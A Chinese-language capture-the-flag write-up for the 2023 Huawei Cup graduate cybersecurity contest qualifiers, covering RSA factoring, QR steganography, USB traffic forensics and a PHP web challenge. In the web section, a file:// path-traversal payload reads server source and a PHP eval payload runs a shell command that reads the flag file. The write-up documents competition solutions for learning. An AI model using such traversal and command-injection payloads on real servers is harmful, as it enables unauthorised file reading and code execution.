您好,欢迎来到刀刀网。
搜索
您的当前位置:首页2023华为杯·第二届中国研究生网络安全创新大赛初赛 Writeup

2023华为杯·第二届中国研究生网络安全创新大赛初赛 Writeup

来源:刀刀网

前言

感谢跟我坐了一天大牢的队友~
wp是赛后复现写的,web环境当时没有做好截图

题解

A_Small_Secret

题目压缩包中有一个提示和另一个压缩包On_Zen_with_Buddhism.zip,提示内容如下:

next-prime

题目如下:

from Crypto.Util.number import *
from gmpy2 import next_prime, iroot
from flag import flag
assert flag[0:4]==b'flag'

m = bytes_to_long(flag)
assert size(m)<500

p = getPrime(512)
q = next_prime(p)

n = p * q
print('n=', n>>520)
e = 0x10001
c = pow(m, e, n)
print('c=', c)

'''
n= 2857627481101079436215316075569351785300825011441539841241257190782139295561904323347125687356975450712050432385141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177180002082155032468686310760115052683719365865321659884527055007299822625570713613996139223348709621258028349513737798120
'''

这里主要的考点是n的后520位被抹掉了,但是由于p,q之间非常接近,并且n的低位对开方的影响比较小并且p,q都是质数,因此我们可以尝试爆破符合条件的p和q,wp如下:

import gmpy2
from Crypto.Util.number import *
from sympy.ntheory import prevprime,nextprime

n= 2857627481101079436215316075569351785300825011441539841241257190782139295561904323347125687356975450712050432385141474388531008367238218822591
c= 49502875285578675438052554215266678403659290915102322948363030271494959804587081871467110614683972929037615883922743651431683465100061968204901334627149795829429950385848753728500177180002082155032468686310760115052683719365865321659884527055007299822625570713613996139223348709621258028349513737798120
e= 0x10001
mid=gmpy2.iroot(n<<520,2)[0]
while (mid*nextprime(mid))>>520!=n or not isPrime(mid):
	mid-=2
	p=mid
	q=nextprime(p)
	d=gmpy2.invert(e,(p-1)*(q-1))
	if b'flag' in long_to_bytes(pow(c,d,p*q)):
		print(long_to_bytes(pow(c,d,p*q)))

loopQR

开局一堆图

from pyzbar.pyzbar import decode
from PIL import Image
import os

def decode1(img, channel, index=0):
    if channel in img.mode:
        new_image = Image.new('1', img.size)
        new_image_data = new_image.load()

        img_data = img.load()
        channel_index = img.mode.index(channel)

        for x in range(img.size[0]):
            for y in range(img.size[1]):
                color = img_data[x, y]
                channel = color[channel_index]
                plane = bin(channel)[2:].zfill(8)
                try:
                    new_image_data[x, y] = 255 * int(plane[abs(index - 7)])
                except IndexError:
                    pass
        return new_image

def decode2(image_path):
    img = Image.open(image_path)
    for channel in img.mode:
        green_plane_image = decode1(img, channel, 0)
        decoded_objects = decode(green_plane_image)
        if decoded_objects:
            decoded_text=decoded_objects[0].data.decode('utf-8')
            print(f"{file},信道为{channel},二维码内容为:{decoded_text},")
            return decoded_text
        else:
            continue
    return None

if __name__ == "__main__":
    res=""
    for file in os.listdir("./"):
        if file.endswith(".png"):
            decoded_text = decode2(file)
            if decoded_text:
                res+=decoded_text
            else:
                print(f"failed")
    print(res)

easyeval

web签到题,赛后复现截图较少,源码如下:

<?php
show_source(__FILE__);
#dasdjf.php
$ysy = $_GET['ysy'];
$parts = parse_url($ysy);
if(empty($parts['host']) || $parts['host'] != 'localhost') {
    exit('error');
}
readfile($ysy);
?>

看题目的意思是要我们读取dasdjf.php文件,直接访问的话会显示一个 你想干嘛!!!
可以直接用file协议绕过

?ysy=file://localhost/../../../../../var/www/html/dasdjf.php

读出dasdjf.php的源码如下:

<?php
if(isset($_GET['a'])){
	$a=$_GET['a'];
	if(preg_match("/system|exec|highlight/i", $a) && !(preg_match("/flag|cat/i", $a))){
		eval($a);
	}else{
		die("error");
	}
}else{
	echo "你想干嘛!!!";
}
?>

poc如下:

?a=system('tac /fla?.txt');

Mysterious_Port

题目给了一个压缩包和一个流量包,压缩包需要密码打开,流量包中发现了很多键盘流量数据,首先在kali中利用如下命令分离出键盘流量

tshark -r usb.pcapng -T fields -e usb.capdata > usbdata.txt

接下来使用下面的脚本进行处理

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('usbdata.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

得到解压密码:!@#qwer123_DASCTF_okok

解压压缩包看到另一个流量包port.pcapng,分析流量包可以发现每次传输都是5个字符且具有显著的base加密特征

按照端口的顺序提取字符可以发现base编码是重复的内容,解密出来之后发现不是flag
ZmxhZyBpcyBoZXJlISEh5qyi6L+O5p2l5YiwREFTQ1RGIQ==

根据题目提示4进制可以发现flag是通过端口号进行传递的,以200端口号为每个字符之间的分割

首先通过脚本把端口号处理成下面的样子,有部分握手和挥手的数据包需要单独处理

接下来利用下面的脚本即可得到flag

f=open('2.txt','r')
lines=f.readlines()
res=[]

t=''
for line in lines:
	line=line.strip()
	print(line)
	if line=='200':
		res.append(t)
		t=''
		continue
	t+=line[-1]
	
print(res)
flag=''
for i in res:
	flag+=chr(int(i,4))
print(flag)

最后得到:

DASCTF{67011b0c-ba47-488f-9beb-283e7352e35e

其他师傅的wp

剩下题目的wp请参考其他师傅写的一些wp,他们分别是:、、
如果有其他疑问欢迎评论区留言~

因篇幅问题不能全部显示,请点此查看更多更全内容

Copyright © 2019- gamedaodao.com 版权所有 湘ICP备2022005869号-6

违法及侵权请联系:TEL:199 18 7713 E-MAIL:2724546146@qq.com

本站由北京市万商天勤律师事务所王兴未律师提供法律服务